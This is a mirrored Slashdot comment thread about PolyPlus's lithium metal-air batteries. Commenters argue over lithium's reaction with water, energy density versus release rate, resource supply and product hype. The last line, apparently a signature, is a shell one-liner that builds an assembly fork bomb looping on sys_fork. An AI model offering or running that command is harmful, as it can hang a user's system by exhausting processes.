Slashdot Mirror
New Lithium-Air Battery Delivers 10 Times the Energy Density
Al writes "A company called PolyPlus has developed lithium metal-air batteries that have 10 times the energy density of regular lithium-ion batteries. The anode is made up entirely of lithium metal, and the surrounding air acts as the cathode, making the batteries incredibly energy dense. Previous efforts to make lithium metal batteries have been stymied by the sensitivity of lithium to water in the air. The new batteries use a sophisticated membrane to protect the lithium anode and PolyPlus has even created a version that works underwater, by drawing oxygen through the membrane. Lithium metal-air batteries could be light-weight power sources for demand for plug-in hybrid vehicles and consumer electronics; IBM also recently announced that it would develop lithium metal-air batteries for the energy grid and for transportation."
"it expects these batteries to be on the market within a few years"
Just like those ultra efficient, cheap, solar panels we've been promised 'next year' each year for the last decade.
lithium metal material reacts rapidly and violently with water
(From the TFA)
The safety concern is the main problem here.
Anything that breaks the membrane and allows moisture to come into contact with the anode will start a nice fire. Or you can microwave them. Or blend them.
First they came for boxcutters, but I wasn't a terr'rist, so I didn't say anything.
Then they came for hammers, but I wasn't a terr'rist, so I didn't say anything.
Then they came for screwdrivers, but I wasn't a terr'rist, so I didn't say anything.
Then they came for microwaves, but I wasn't a terr'rist, so I didn't say anything.
Then they came for blenders, but I wasn't a terr'rist, so I didn't say anything.
Then they came for can-openers, but I wasn't a terr'rist, so I didn't say anything.
So here I sit starving, unable to open this frigging can of food, and even if I could, I'd have to eat it cold because I can't nuke it and without tools I can't fix the furnace. Now if only I could find a rock and a lithium battery, I'd be able to cook it!
Completely unlike the Lithium Air battery on /. a month ago: http://hardware.slashdot.org/article.pl?sid=09/05/21/1237231
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
Let me say this, idiots that don't take care of the new lithium batteries will spur the need for more idiot proof batteries. The article mentions that you should not introduce any amount of water near these types of batteries. Since water is very common, do not put both an idiot and this battery near each other. At ten times the energy output, it may be 10x more dangerous.
There's no here here. They don't have any real batteries in production. Its still in real-world testing. Or to put it in more slashdot-centric way of thinking... they don't even have 2/4 steps for profit 1) Announce untested idea for new battery 2) ?????? 3) ?????? 4) Profit!
I'm not sure that is a blessing or a curse. Burning down your house isn't worth having a longer lasting laptop;
I know what you mean but you could also say burning down your house isn't worth having a stove. You just need to know that the battery can be dangerous and you should handle it accordingly.
I came to the datacenter drunk with a fake ID, don't you want to be just like me?
Or if you even looked at the article, you would see a demo of it running underwater.
See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
I believe the summary is the first time I've ever seen "sensitivity" used as a synonym for "tendency to explode violently."
Based on some spectacular chemistry class demonstrations of lithium/water interaction, I'm going with significantly less safe than Li-ion.
No, it isn't.
Lithium-Ion batteries are dangerous because of very low internal resistance. ie. They can dump a large amount of current in a very short time. This is completely independent of energy density, and future designs could well have higher energy density with less danger of thermal runaway.
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
Both articles pointed to by the original post note that rechargeable lithium-air batteries are in "early development". It may be worth noting that zinc-air batteries (fuel cells, more accurately, as these lithium devices are currently) have been available for some years now. The problem is the recharging step, ie, making it a battery instead of a fuel cell. Splitting zinc oxide to get relatively pure zinc back, all within the original container, remains an unsolved problem, in practice. These lithium devices will face the same problem: how do you use electricity to efficiently split lithium oxides to get lithium and oxygen again? If they have indeed solved that problem, and can apply it to other metals, zinc may be a better solution overall, even with somewhat lower energy density. The global mineral reserves are much larger and the problem with water goes away.
If these batteries really can store 10 times the energy of current batteries, they could be revolutionary. They could make the electric car more practical than using gasoline.
However, the big catch is that we can't really produce enough Lithium to make all those batteries. There is a plentiful supply in the water: "Seawater contains an estimated 230 billion tons of lithium, though at a low concentration of 0.1 to 0.2 ppm." But there's probably no practical way to extract it.
My laptop constantly overheats, I mistreak the battery to hell, and still it keeps working.
And millions upon millions of other people have had the same results.
I've only got one piece of advice for you: stop being such a pussy. You're slowing the rest of us down.
Diesel fuel has a very high energy density and very little explosive potential. The danger comes not from the contained energy, but how fast that energy can be released.
"Knowledge is the only instrument of production that is not subject to diminishing returns" -Journal of Political Econom
It seems like this is the holy grail for electric vehicles, and we can finally stop burning dinosaur juice in our little bitty engines and realize the economies of scale of burning dinosaur farts in really big and efficient prime movers. This is all well and good, but how plentiful is lithium, and can it be recycled easily (I suspect yes)? -Michael
Batteries may be somewhat dangerous, but right now we're parking our cars in our garages with 15 gallons of gasoline in the tanks. If it gets out, it flows all over the place. It also fills the air with an explosive gas that will also cause poisoning in people, or at least intoxication. Lose one threat, gain another. The battery is probably safer than the gasoline.
Actually, from the very edge of the 1800's. Development didn't complete until 1901.
http://en.wikipedia.org/wiki/Nickel-iron_battery
Nickel-Iron (NiFe) batteries don't appreciably degrade from discharge. There is some wear, but they can last for 50 years if you change the electrolyte. Power and current densities are low, but they are ideal for photovoltaic installations. Battery wear from deep discharge is one of the biggest economic factors of solar power cost.
You can buy them, but currently only from manufacturers in India and China.
I was warned that car batteries can explode if you short-circuit them in this way.
If you think about it, single edged swords are also double edged swords. I mean, it cuts on one side, but not the other....
I think I just blew my own mind.
*groan* (yknow, being made of air and whatnot)
A lot of people are raising concerns about the risk associated with increasing the energy density of the battery.
I would like to point out that it's difficult to directly compare the risks of two fuel sources without knowing how quickly the energy can be released, and under what conditions it can happen.
For instance, I enjoy working with motorcycles, which typically carry 2 major energy sources: A battery, which supplies starting and auxiliary power, and gasoline, which supplies primary power (including the power required to charge the battery.)
The gasoline in the tank has a far greater energy density and far higher energy potential than the battery, but of the two, the battery poses the greatest risk of injury and explosion.
The gasoline can certainly burn, but will only explode under very specific conditions. The conditions required to set it burning are also very easily removed. In fact, I'm far more concerned about the chemical damaged caused by exposing fuel to skin than I am about the risk of fire or explosion.
On the other hand, I work around the battery with wrenches that are typically grounded against the frame while in use. Even with a disconnected battery, I've had cases (while working on a car) where the wrench contacts the positive terminal of the disconnected battery, creating very heavy gauge short circuit between the terminals. The resulting release of energy will cut through metal and cause severe burns. Likewise, if overdrawn, the battery can release hydrogen which can either vent and ignite, or build internal pressure causing the battery to explode.
An interesting example of a substance that is explosive, has a high energy density, and is safe is C4, which can actually be used to cook food if burned, but will not explode without a blasting cap.
So... Are these batteries a risk? Perhaps. We should look into that. But it's best not to cry about the sky falling without first investigating the matter.
Use Sodium instead. There's even more of it in seawater. Sure it's a bit heavier, a bit bigger but a tiny fraction of the cost, and cost is a huge problem with batteries.
Deleted
My former girlfriend was a very sensitive person.
It never occurred to me before, but now that you mention it, I think this is exactly what she meant by the term.
Oh, right, except that equation deals with nuclear energy and not chemical energy.
That's simply not true. TNT is less energy dense than aluminum. Which one would you rather be standing next to when a blasting cap is fired on them?
In this case, the energy density of the lithium has nothing to do with how fast it can react. The rate the lithium can burn is exactly the same as the rate in which it can burn in much less energy dense lithium primary cells. And furthermore, while this may be a fundamental problem in "small" devices like cell phones and laptops, large devices, such as electric car battery packs, have ample room for fire prevention, isolation, suppression, and venting systems.
I tore these out of your symbol, and they turned into paper.
If they last a month in my laptop, are cheap to replace, and can be conveniently dropped into a recycling bin where I pick up my new batteries, then I don't care so much. It's the logistics that matter as much as anything. It's usually the logistics that are overlooked.
If you lived, worked, and shopped within a few blocks, you wouldn't even worry about your car most days. That's logistics.
If you could replace gasoline with hydrogen, that'd be great. However, you'd also have to replace gasoline with hydrogen in all those gasoline stations. Yet you can't get rid of the gasoline at the stations until everyone else's car stops running on gasoline, too.
Electric cars are great, but most of them need to be recharged overnight. If you build a car than can recharge for a 200-mile trip in 5 minutes, you still need to have recharging stations that can deliver that amount of power that are easily accessible. See? Logistics.
Unless they are in the store at an affordable price it doesn't matter to me
In that case, I suggest you read Consumer Weekly, instead of a technology news site.
I am TheRaven on Soylent News
Generally, if it stores energy, there usually is a failure mode which involves the rapid release of the stored energy in an unpleasant manner.
Important part: "a failure mode." Triggering via blasting cap is TNT's "failure mode." If you put aluminum in a dust form and then aerosol it, it'll be much worse; that's aluminum's "failure mode." Heck, flour has a similar failure mode and as such has blown up several bakeries.
This thing 'theoretically' has more than 5kW-hr/kg, which is a big deal considering gasoline has an energy density of 46.9Mj/kg or 12.9kW-hr/kg. Coupling this new battery, when it exists, to a decent brushless DC motors, which are upto 90% efficient, then you'll have a purely electric car that can rival a gasoline powered cars in terms of power and range since IC engines are only 40% efficient (minus more energy that is absorbed in the transmission, etc). And I have a hunch that lithium is more abundant than crude oil. Downside is obviously with the higher energy density, the potential for fire/explosion is bigger. I don't know about you guys, but watching a shorted lithium polymer battery pack is very entertaining and dangerous.
When I can buy one. Same sort of "good news" 2 years ago from Stanford when the "nanowire battery" was announced to be capable of 10X a regular lithium cell due to the nanowire construction of the anode. No mention that they also needed a cathode breakthru to achieve the 10X. Without a cathode breakthru, you get 3X. Big whoop. Good, but no cigar. An electric car needs the whole 10X. But guess what - where is that battery now? It's being "developed" by the researchers in question not at Stanford but at a university in Saudi Arabia. Does Saudi Arabia have an interest in bringing to market a device that would preclude the need for their chief export? Not hardly. I wouldn't be either of those guys for all the tea in China. They're likely as not to have a beheading "accident" before this research is done, with the very least that could happen being a sabotaging of the product. We'll see how this new battery goes - or if it goes to Saudi Arabia too.
Any time chemicals interact with air, it strikes me there is the potential for air pollution.
Is that the case here? I mean, in theory the chemistry may not result in pollution, but in the real world it only takes a fraction of a percent of the chemistry to take an alternate reactive path to result in unexpected or unwanted impurities...
The only people who make this argument are those who haven't paid attention to battery energy density over time. If you don't know what I'm talking about, compare your cell phone with one from the early 90s, or your laptop battery. Battery energy density has increased 4.5x in the past 20 years, and power density 10x. And it only seems to be speeding up.
Yes, there was a long time (the first 2/3rds to 3/4s of this century) where battery technology was mostly stagnated. Then the consumer electronics industry came into its own, and people actually started putting serious money into battery research. And our modern understanding of chemistry and nanoscale structures certainly doesn't hurt.
Or a halogen flashlight could SHINE for that long. But no, they're always still the same sucky thing as in the 1800s
Um, do you realize where the term "flashlight" comes from? Flashlights in the 1800s (actually, the very end of the 1800s) were these big, massive things with huge, heavy batteries -- and despite this, they had so little energy density that you couldn't leave them on all the time. You had to "flash" them when you wanted to see something.
I tore these out of your symbol, and they turned into paper.
Lithium does not tend to explode violently in the air. Not even sodium will explode just sitting in the air. Both will, however, oxidize rapidly, being sensitive to moisture as the summary correctly states.
Is energy density really a top requirement for submarine use? It seems to me most submersibles contain thousands of pounds of ballast anyway -- might as well carry heavy batteries. Plus "reacts violently to any contact with water" doesn't really sound like a property I would want in my submersible battery. Unless these are significantly cheaper or more reliable than li-ion, they don't sound like a win underwater. In cell phones and laptops, however, weight and volume are king, and any technology that stores more energy in less weight or volume will be an economic success.
I've abandoned my search for truth; now I'm just looking for some useful delusions.
If you put aluminum in a dust form and then aerosol it, it'll be much worse;
Irrelevant. That *block of aluminum* has more energy density than TNT. *So does aerosolized aluminum*, but so does the block. And it has more energy than gasoline per kilogram, too.
Just because something has high energy density does *not* mean it has a realistic way to release that energy rapidly. And the amount of energy contained within the chemicals that make up a battery (releasable by burning) are often way more than the amount of electrical energy stored in the battery, so saying that because the electricity stored went up 10fold means somehow that the chemical energy that would be released in a fire went up 10fold is just wrong.
If I added a resistor to the inside of a battery so as to waste most of the power of the battery, causing the energy density of the cell to decrease tenfold, would it somehow suddenly become ten times less flammable? If I took the resistor away, would it suddenly become ten times more flammable? Don't act like that's far-fetched, because that's very similar to how a lot of battery improvements work -- lowering the internal resistance, making sure that more of the material within can take part in the desired electricity-storage reactions, and so forth.
There are some incredibly flammable low-energy density batteries, and incredibly fire-resistant high energy density batteries out there. Heck, the Zebra battery has almost the energy density of the lower-end li-ions, and it operates at temperatures of hundreds of degrees in *typical usage*. The amount of electricity stored is simply not inherently correlated with the energy density.
I tore these out of your symbol, and they turned into paper.
I needed some batteries for the life support systems on my spacesuit, so i went and bought some of these new fangled Lithium-Air Batteries and they don't work worth a crap. They worked fine in the airlock but as soon as I stepped out on my space walk I was gasping for air as my life support system inexplicably shutdown.
.
These Batteries are Horrible, just Horrible!!!! I have to trust my life to batteries for supplying me with Oxygen and keeping my temperature constant.
.
Two space gloved thumbs down!
.
Tsukasa: All I really want, is to be left alone...
Any time someone thinks they've idiot-proofed anything, the universe takes that as a challenge to design a bigger idiot.
Long? What do you mean the signature at the bottom of every comment I post on Slashdot is too lo
In the recent case of United States v. Irizarry, a man in New York was arrested and charged with a felony weapons violation (under the switchblade laws) for having a Home Depot "Husky" brand folding utility knife clipped to his pocket.
In related news, the Department of Homeland Security has just issued a new ruling defining all knives that can be opened with one hand by way of thumbstud, ridge or hole -- which means most pocket knives made in the past 20 years -- as "switchblades" whether they have a spring or not. The huntin' and fishin' crowd are pretty much up in arms over that fact that most of them just became criminals. If you carry a recent Leatherman, you're committing a felony under the new rules.
And finally, a man last year was arrested for trying to enter a federal building with an old one-inch army surplus can opener attached to his keychain.
You meant your post as a joke and a satire, but it's already reality.
He put his boots up on the table and made a face. "The sig," he smirked. "You can waste your life in search of the sig."
Maybe she needed lithium in her body.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;